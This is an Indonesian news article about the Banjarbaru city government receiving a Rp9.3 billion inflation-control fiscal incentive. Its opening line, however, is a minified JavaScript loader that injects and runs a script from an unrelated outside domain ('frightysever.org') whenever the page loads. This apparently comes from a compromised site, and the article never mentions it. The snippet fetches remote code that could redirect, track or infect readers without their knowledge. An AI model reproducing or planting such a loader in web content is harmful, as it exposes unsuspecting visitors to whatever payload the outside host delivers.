(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemko Banjarbaru Dapatkan Insentif Fiskal Inflasi Rp9,3 Miliar

KANALKALIMANTAN.COM, BANJARBARU – Pemko Banjarbaru melalui TPID (Tim Pengendali Inflasi Daerah) Kota Banjarbaru pada triwulan dua mendapatkan insentif fiskal inflasi sebesar Rp9,3 miliar dari Kemendagri dan Kemenkeu RI.

Insentif itu didapat karena Pemko Banjarbaru telah melaksanakan kepatuhan pelaporan yaitu pelaporan harian dari Inspektorat, pelaporan SPHP dari Disdag, laporan per triwulan dari TPID , nilai IPH dari BPS, dan telah melaksanakan 9 langkah konkret pengendalian inflasi daerah.

Asisten Perekonomian dan Pembangunan Setdako Banjarbaru, Ir Hj Puspa Kencana MP yang mengkoordinir TPID Kota Banjarbaru, merasa sangat senang dan bangga, karena berkat kerjasama TPID, dan dukungan penuh dari Wali Kota Banjarbaru, Wakil Wali Kota dan Sekda yang selalu mendukung kegiatan pengendalian inflasi daerah di Kota Banjarbaru.

“Semoga insentif fiskal dapat bermanfaat bagi masyarakat kota Banjarbaru dan digunakan seoptimal mungkin untuk pengendalian inflasi, ” kata Puspa, Jumat (15/9/2023).

Diinformasikan, keberhasilan Pemko Banjarbaru mendapatkan insentif fiskal inflasi, telah melalui penilaian dari tim pusat yaitu TPIP, Inspektur Jenderal Sekjen Kemendagri, serta Kemenko Perekonomian. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk